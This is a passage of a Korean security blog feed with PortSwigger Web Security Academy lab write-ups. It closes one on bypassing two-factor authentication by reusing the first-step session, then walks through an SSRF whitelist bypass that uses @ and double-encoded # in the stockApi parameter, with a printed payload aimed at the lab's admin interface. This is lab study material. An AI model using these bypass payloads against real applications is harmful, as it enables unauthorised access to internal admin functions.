&lt;li&gt;이중 인증을 하지 않고 우회하여 carlos 계정으로 로그인이 되어있는 것을 볼 수 있고 2단계 인증을 하지 않고도 로그인된 사용자가 접근할 수 있는 My account 페이지에 접속이 가능해지면서 랩 문제도 해결된 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WAuhD/dJMcacjuN4l/3ws2nl3KODJGIq2HtKRTG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WAuhD/dJMcacjuN4l/3ws2nl3KODJGIq2HtKRTG1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WAuhD/dJMcacjuN4l/3ws2nl3KODJGIq2HtKRTG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWAuhD%2FdJMcacjuN4l%2F3ws2nl3KODJGIq2HtKRTG1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;[설명]&lt;br /&gt;&lt;/b&gt;해당 랩에서는 1단계 인증을 하고 나서의 세션과 2단계 인증을 하고 나서의 세션이 다른 것을 볼 수 있습니다.&lt;br /&gt;&lt;br /&gt;-1단계 인증 후 세션&lt;br /&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1126&quot; data-origin-height=&quot;580&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHwEtF/dJMcacjuQPS/NkKa8GYD4KxsdMPVPAVmR1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHwEtF/dJMcacjuQPS/NkKa8GYD4KxsdMPVPAVmR1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHwEtF/dJMcacjuQPS/NkKa8GYD4KxsdMPVPAVmR1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHwEtF%2FdJMcacjuQPS%2FNkKa8GYD4KxsdMPVPAVmR1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;412&quot; data-origin-width=&quot;1126&quot; data-origin-height=&quot;580&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;br /&gt;&lt;br /&gt;-2단계 인증 후 세션&lt;br /&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1128&quot; data-origin-height=&quot;586&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cKEW25/dJMcabLNxmE/iPL979z98mlkjjvsFR4Fn1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cKEW25/dJMcabLNxmE/iPL979z98mlkjjvsFR4Fn1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cKEW25/dJMcabLNxmE/iPL979z98mlkjjvsFR4Fn1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcKEW25%2FdJMcabLNxmE%2FiPL979z98mlkjjvsFR4Fn1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;416&quot; data-origin-width=&quot;1128&quot; data-origin-height=&quot;586&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;세션이 서로 다름에도 불구하고 1단계 인증 세션을 가지고도 2단계 인증을 해야 접속할 수 있는 페이지에 접근을 할 수 있었는데 이는 서버가 2단계 인증까지 했다는 것을 제대로 검증하지 않고 있거나 2단계 인증을 했다는 근거가 반영되지 않은 걸로 추정됩니다. 그렇기 때문에 2단계 인증 단계에서 입력해야 하는 숫자 코드를 몰라도 아이디, 비밀번호로 발급받은 1단계 인증 세션만으로도 2단계 인증을 우회할 수 있었습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/PortSwigger Web Security Academy</category>
      <category>Authentication</category>
      <category>authentication bypass</category>
      <category>Lab: 2FA simple bypass</category>
      <category>portswigger</category>
      <category>모의해킹</category>
      <category>모의해킹 공부</category>
      <category>이중인증 우회</category>
      <category>인증 우회</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/36</guid>
      <comments>https://code000.tistory.com/entry/Lab-2FA-simple-bypass#entry36comment</comments>
      <pubDate>Thu, 16 Jul 2026 00:45:23 +0900</pubDate>
    </item>
    <item>
      <title>Lab: SSRF with whitelist-based input filter</title>
      <link>https://code000.tistory.com/entry/Lab-SSRF-with-whitelist-based-input-filter</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표 &amp;amp; 사용 도구&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt; &lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;admin 인터페이스에 접근하여 carlos 계정을 삭제하는 것입니다.&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Burp Suite&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;사전 지식&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[URL&amp;nbsp;파싱에서의&amp;nbsp;@&amp;nbsp;기호] &lt;/b&gt;&lt;br /&gt;@기호는 사용자의 정보와 실제 접속할 호스트를 구분하는 기호로 사용됩니다.예를들어 https://user:pw@test.com/mypage URL 파싱할때 user:pw는 인증 정보, 즉 자격증명에 사용되고 실제로 접속하는 웹 사이트는 test.com 이 됩니다. 이런식으로 사용되는 @ 기호의 경우 현재는 거의 사용되지 않고 문법만 남아있는 상태라고 합니다. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;[URL 파싱에서의 #(Fragment) 기호] &lt;/b&gt;&lt;br /&gt;URL&amp;nbsp;파싱에서&amp;nbsp;#&amp;nbsp;기호는&amp;nbsp;웹&amp;nbsp;문서의&amp;nbsp;내부의&amp;nbsp;특정&amp;nbsp;섹션이나&amp;nbsp;리소스를&amp;nbsp;가리킬&amp;nbsp;때&amp;nbsp;사용하는&amp;nbsp;기호&amp;nbsp;입니다.&amp;nbsp;웹&amp;nbsp;브라우저가&amp;nbsp;서버에&amp;nbsp;요청을&amp;nbsp;보낼&amp;nbsp;&amp;nbsp;때&amp;nbsp;#&amp;nbsp;기호&amp;nbsp;뒤의&amp;nbsp;값들은&amp;nbsp;요청에&amp;nbsp;포함되지&amp;nbsp;않고&amp;nbsp;클라이언트&amp;nbsp;측에서&amp;nbsp;처리됩니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 설명&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 랩을 해결하기 위해서는 check stock URL을 admin 인터페이스로 바꿔 접근한 뒤 carlos 계정을 삭제해야 한다고 합니다. 하지만 개발자가 SSRF 방어 로직을 사용 중이라고 하며 우회할 필요가 있다고 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ACCESS&amp;nbsp;THE&amp;nbsp;LAB을&amp;nbsp;클릭하여&amp;nbsp;랩에&amp;nbsp;접속합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pwIOD/dJMcadPZT4b/25LuPDnVk8yPWuXD0YcPO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pwIOD/dJMcadPZT4b/25LuPDnVk8yPWuXD0YcPO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pwIOD/dJMcadPZT4b/25LuPDnVk8yPWuXD0YcPO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpwIOD%2FdJMcadPZT4b%2F25LuPDnVk8yPWuXD0YcPO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;503&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹&amp;nbsp;사이트에&amp;nbsp;접속한&amp;nbsp;뒤&amp;nbsp;게시물&amp;nbsp;중&amp;nbsp;하나를&amp;nbsp;택해서&amp;nbsp;View&amp;nbsp;details를&amp;nbsp;클릭하여&amp;nbsp;게시물로&amp;nbsp;이동합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qyIHK/dJMcagzeL5m/VNpBVpE5k6FfAer80mdPp1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qyIHK/dJMcagzeL5m/VNpBVpE5k6FfAer80mdPp1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qyIHK/dJMcagzeL5m/VNpBVpE5k6FfAer80mdPp1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqyIHK%2FdJMcagzeL5m%2FVNpBVpE5k6FfAer80mdPp1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;503&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Check&amp;nbsp;stock&amp;nbsp;버튼을&amp;nbsp;클릭합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6DbqT/dJMcacDF8uN/ZKdt0SkKWn0akkw0NVgnVk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6DbqT/dJMcacDF8uN/ZKdt0SkKWn0akkw0NVgnVk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6DbqT/dJMcacDF8uN/ZKdt0SkKWn0akkw0NVgnVk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6DbqT%2FdJMcacDF8uN%2FZKdt0SkKWn0akkw0NVgnVk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;503&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Check&amp;nbsp;stock&amp;nbsp;버튼을&amp;nbsp;클릭했을&amp;nbsp;때의&amp;nbsp;요청을&amp;nbsp;Burp&amp;nbsp;Suite의&amp;nbsp;Repeater&amp;nbsp;기능에&amp;nbsp;세팅합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1131&quot; data-origin-height=&quot;559&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJovt0/dJMcadWOPHK/2gzu5xAz3FpwdSsvLutxa1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJovt0/dJMcadWOPHK/2gzu5xAz3FpwdSsvLutxa1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJovt0/dJMcadWOPHK/2gzu5xAz3FpwdSsvLutxa1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJovt0%2FdJMcadWOPHK%2F2gzu5xAz3FpwdSsvLutxa1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;420&quot; data-origin-width=&quot;1131&quot; data-origin-height=&quot;559&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;세팅한&amp;nbsp;요청을&amp;nbsp;전송해&amp;nbsp;보면&amp;nbsp;아래와&amp;nbsp;같이&amp;nbsp;재고&amp;nbsp;결과가&amp;nbsp;나오는&amp;nbsp;것을&amp;nbsp;확인할&amp;nbsp;수&amp;nbsp;있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1126&quot; data-origin-height=&quot;558&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHsiKI/dJMcaiqhYpW/rmsY4EYZdPEjE7Mcem5E10/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHsiKI/dJMcaiqhYpW/rmsY4EYZdPEjE7Mcem5E10/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHsiKI/dJMcaiqhYpW/rmsY4EYZdPEjE7Mcem5E10/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHsiKI%2FdJMcaiqhYpW%2FrmsY4EYZdPEjE7Mcem5E10%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;421&quot; data-origin-width=&quot;1126&quot; data-origin-height=&quot;558&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;stockApi&amp;nbsp;파라미터&amp;nbsp;값을&amp;nbsp;admin&amp;nbsp;인터페이스&amp;nbsp;주소로&amp;nbsp;바꾸고&amp;nbsp;요청을&amp;nbsp;보내면&amp;nbsp;호스트가&amp;nbsp;stock.weliketoshop.net&amp;nbsp;이어야&amp;nbsp;한다는&amp;nbsp;응답&amp;nbsp;메시지를&amp;nbsp;반환하며&amp;nbsp;필터링이&amp;nbsp;되고&amp;nbsp;있는&amp;nbsp;것을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있습니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1127&quot; data-origin-height=&quot;561&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brtaN6/dJMcad3xB4S/zaGu6xFXqIK78bCasBqCJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brtaN6/dJMcad3xB4S/zaGu6xFXqIK78bCasBqCJ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brtaN6/dJMcad3xB4S/zaGu6xFXqIK78bCasBqCJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrtaN6%2FdJMcad3xB4S%2FzaGu6xFXqIK78bCasBqCJ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;423&quot; data-origin-width=&quot;1127&quot; data-origin-height=&quot;561&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;@ 기호를 사용할 수 있는지 확인하기 위해서 해당 기호를 사용합니다. 서버가 stock.weliketoshop.net에 접근하게 만들고 접근 불가능 응답이 반환되지 않으며 @ 기호를 사용할 수 있다는 것을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1121&quot; data-origin-height=&quot;557&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qT3rH/dJMcabScQEV/vVCNVMSiBhWLuRGbV1NQ91/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qT3rH/dJMcabScQEV/vVCNVMSiBhWLuRGbV1NQ91/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qT3rH/dJMcabScQEV/vVCNVMSiBhWLuRGbV1NQ91/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqT3rH%2FdJMcabScQEV%2FvVCNVMSiBhWLuRGbV1NQ91%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;422&quot; data-origin-width=&quot;1121&quot; data-origin-height=&quot;557&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 225px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 225px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 225px;&quot;&gt;&lt;b&gt;[페이로드]&lt;/b&gt; &lt;br /&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;stockApi=http://localhost@stock.weliketoshop.net:8080/admin&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;@ 기호는 사용자 정보와 실제 접속할 호스트를 나눈다고 설명했었습니다. 따라서 stockApi 파라미터에 페이로드를 삽입하게 되면 서버는 호스트를 stock.weliketoshop.net으로 인식하게 됩니다.&lt;br /&gt;&lt;br /&gt;페이로드를&amp;nbsp;분석해&amp;nbsp;보면&amp;nbsp;http://localhost@stock.weliketoshop.net:8080/admin중&amp;nbsp;localhost@stock.weliketoshop.net&amp;nbsp;부분에서&amp;nbsp;localhost가&amp;nbsp;자격&amp;nbsp;증명에&amp;nbsp;사용되는&amp;nbsp;인증&amp;nbsp;정보가&amp;nbsp;되고&amp;nbsp;호스트가&amp;nbsp;stock.weliketoshop.net이&amp;nbsp;됩니다.&amp;nbsp;응답을&amp;nbsp;보면&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있듯이&amp;nbsp;호스트가&amp;nbsp;&amp;nbsp;stock.weliketoshop.net이기&amp;nbsp;때문에&amp;nbsp;접근이&amp;nbsp;불가능한&amp;nbsp;응답&amp;nbsp;메시지를&amp;nbsp;반환하지&amp;nbsp;않고&amp;nbsp;있는&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있습니다.&lt;br /&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;(missing&amp;nbsp;parameter&amp;nbsp;메시지의&amp;nbsp;경우&amp;nbsp;stock.weliketoshop.net:8080으로&amp;nbsp;요청을&amp;nbsp;보냈을때&amp;nbsp;파라미터가&amp;nbsp;없으면&amp;nbsp;반환하는&amp;nbsp;메시지&amp;nbsp;입니다.)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이번엔&amp;nbsp;@&amp;nbsp;기호&amp;nbsp;앞에&amp;nbsp;#&amp;nbsp;기호를&amp;nbsp;삽입했을&amp;nbsp;때&amp;nbsp;응답을&amp;nbsp;보면&amp;nbsp;호스트를&amp;nbsp;stock.weliketoshop.net으로&amp;nbsp;인식하지&amp;nbsp;못해&amp;nbsp;필터링에&amp;nbsp;걸리게&amp;nbsp;되는&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1134&quot; data-origin-height=&quot;563&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/os0CB/dJMcaaeLzJl/4HxqEN2EMpbIKKdirvXcCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/os0CB/dJMcaaeLzJl/4HxqEN2EMpbIKKdirvXcCK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/os0CB/dJMcaaeLzJl/4HxqEN2EMpbIKKdirvXcCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fos0CB%2FdJMcaaeLzJl%2F4HxqEN2EMpbIKKdirvXcCK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;422&quot; data-origin-width=&quot;1134&quot; data-origin-height=&quot;563&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;stockApi&amp;nbsp;파라미터&amp;nbsp;값을&amp;nbsp;URL&amp;nbsp;파싱&amp;nbsp;하는&amp;nbsp;과정에서&amp;nbsp;#&amp;nbsp;기호&amp;nbsp;뒤에&amp;nbsp;값이&amp;nbsp;Fragment로&amp;nbsp;처리되고&amp;nbsp;있기&amp;nbsp;때문에&amp;nbsp;호스트를&amp;nbsp;stock.weliketoshop.net으로&amp;nbsp;인식하지&amp;nbsp;못하는&amp;nbsp;것입니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이전&amp;nbsp;단계의&amp;nbsp;페이로드에서&amp;nbsp;@기호&amp;nbsp;앞에&amp;nbsp;#&amp;nbsp;기호를&amp;nbsp;이중&amp;nbsp;인코딩한&amp;nbsp;값을&amp;nbsp;삽입하고&amp;nbsp;요청을&amp;nbsp;전송하면&amp;nbsp;필터링을&amp;nbsp;우회하여&amp;nbsp;admin&amp;nbsp;인터페이스에&amp;nbsp;접근이&amp;nbsp;가능하게&amp;nbsp;됩니다.&lt;/li&gt;
&lt;/ul&gt;
